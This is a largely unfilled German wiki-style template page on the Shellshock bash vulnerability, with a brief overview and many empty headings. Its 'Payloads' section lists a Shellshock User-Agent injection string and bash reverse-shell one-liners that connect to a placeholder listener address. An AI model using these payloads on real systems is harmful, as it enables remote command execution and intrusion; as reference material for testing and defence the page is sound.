Shell Shock

*Autor(en): [email protected] *Betreuer: ** *Abteilung: DevOps *Lizenz(en): **

Überblick

Shell Shock: Privilegienerweiterung, Remote-Code-Ausführung Familie von Fehlern in der Unix-Bash-Shell. Ermöglicht die Ausführung beliebiger Befehle.

Angriffsvektoren

---

Payloads

• Shellshock-Benutzeragent = User-Agent: () { :; } ; <$BASH_COMMAND>
• rshell-Payload = bash -i >& /dev/tcp/127.0.0.1
  • rshell-Umleitung zum Listener = bash -i >& /dev/tcp/$YOUR_IP:$PORT

Tricks

Design:

• Zweck:
• Inhalt:
• Server:
  • Anwendung:
  • Datenbank:
• Netzwerk:
  • DNS:
  • Routen:
• Anwendungsabhängigkeiten:
• Abhängige Programme:

Grundlegende Verwendung:

• Verwendung:

• Häufige Anwendungsfälle:

• Beispiele:

Testen

Testeingabe

• Parameter:
• Aktionen:

Testausgabe

• Ausgabe:
• Screenshots:
• Video:
• usw.:

Notizen:* [option]: